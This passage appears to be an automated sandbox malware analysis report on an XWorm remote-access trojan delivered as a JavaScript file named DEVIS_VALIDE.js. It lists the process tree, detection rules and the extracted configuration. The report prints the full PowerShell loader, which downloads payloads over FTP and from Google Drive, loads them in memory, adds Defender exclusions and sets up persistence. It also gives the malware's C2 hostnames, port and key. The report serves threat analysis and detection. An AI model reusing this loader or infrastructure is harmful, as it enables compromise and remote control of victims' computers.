( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 6536 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)
          • powershell.exe (PID: 4944 cmdline: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ; MD5: 04029E121A0CFA5991749937DD22A1D9)
          • powershell.exe (PID: 6276 cmdline: powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ; MD5: 04029E121A0CFA5991749937DD22A1D9)
            • WmiPrvSE.exe (PID: 7532 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
          • cmd.exe (PID: 4484 cmdline: cmd.exe /c mkdir "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • cmd.exe (PID: 7292 cmdline: cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
            • powershell.exe (PID: 7324 cmdline: powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1' MD5: 04029E121A0CFA5991749937DD22A1D9)
              • powershell.exe (PID: 7708 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
          • cmd.exe (PID: 7300 cmdline: cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
            • powershell.exe (PID: 7336 cmdline: powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1' MD5: 04029E121A0CFA5991749937DD22A1D9)
              • powershell.exe (PID: 7668 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
          • powershell.exe (PID: 8080 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
            • powershell.exe (PID: 8176 cmdline: powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
              • powershell.exe (PID: 3804 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)
                • powershell.exe (PID: 2680 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
            • RegAsm.exe (PID: 7608 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
            • RegAsm.exe (PID: 7624 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
          • cmd.exe (PID: 8088 cmdline: cmd.exe /c del "C:\Users\user\Desktop\DEVIS_VALIDE.js" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
  • cmd.exe (PID: 3312 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 1836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 2568 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8032 cmdline: powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 280 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)
          • powershell.exe (PID: 8388 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • RegAsm.exe (PID: 2540 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
  • cmd.exe (PID: 2848 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 4280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 1820 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8300 cmdline: powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 8532 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)
          • powershell.exe (PID: 8828 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • RegAsm.exe (PID: 8472 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
  • cmd.exe (PID: 8656 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 8664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 8700 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 8708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8896 cmdline: powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 9048 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)
          • powershell.exe (PID: 3176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • RegAsm.exe (PID: 9004 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
  • cmd.exe (PID: 8256 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 3592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 8224 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2812 cmdline: powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 732 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)
          • powershell.exe (PID: 1892 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • RegAsm.exe (PID: 4080 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
XWormMalware with wide range of capabilities ranging from RAT to ransomware.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["moneyluckwork.ddns.net", "moneyluck.duckdns.org"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_XWorm_1Yara detected XWormJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_XWormYara detected XWormJoe Security
      00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmpMALWARE_Win_AsyncRATDetects AsyncRATditekSHen
      • 0x8728:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
      • 0x87c5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
      • 0x88da:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
      • 0x82ba:$cnc4: POST / HTTP/1.1
      0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_XWormYara detected XWormJoe Security
        0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmpMALWARE_Win_AsyncRATDetects AsyncRATditekSHen
        • 0x9a98:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
        • 0x9b35:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
        • 0x9c4a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
        • 0x962a:$cnc4: POST / HTTP/1.1
        00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_XWormYara detected XWormJoe Security
          Click to see the 36 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          53.2.powershell.exe.1d3333e0230.0.unpackJoeSecurity_XWormYara detected XWormJoe Security
            53.2.powershell.exe.1d3333e0230.0.unpackMALWARE_Win_AsyncRATDetects AsyncRATditekSHen
            • 0x6b28:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
            • 0x6bc5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
            • 0x6cda:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
            • 0x66ba:$cnc4: POST / HTTP/1.1
            44.2.powershell.exe.1558669f3b8.0.unpackJoeSecurity_XWormYara detected XWormJoe Security
              44.2.powershell.exe.1558669f3b8.0.unpackMALWARE_Win_AsyncRATDetects AsyncRATditekSHen
              • 0x6b28:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
              • 0x6bc5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
              • 0x6cda:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
              • 0x66ba:$cnc4: POST / HTTP/1.1
              32.2.RegAsm.exe.400000.0.unpackJoeSecurity_XWormYara detected XWormJoe Security
                Click to see the 40 entries

                Other

                SourceRuleDescriptionAuthorStrings
                amsi64_5764.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

                  Sigma Signatures

                  Networking

                  barindex
                  Sigma detected: Paste sharing url in reverse order
                  Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$

                  System Summary

                  barindex
                  Sigma detected: Base64 Encoded PowerShell Command Detected
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66
                  Sigma detected: Potential PowerShell Command Line Obfuscation
                  Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + 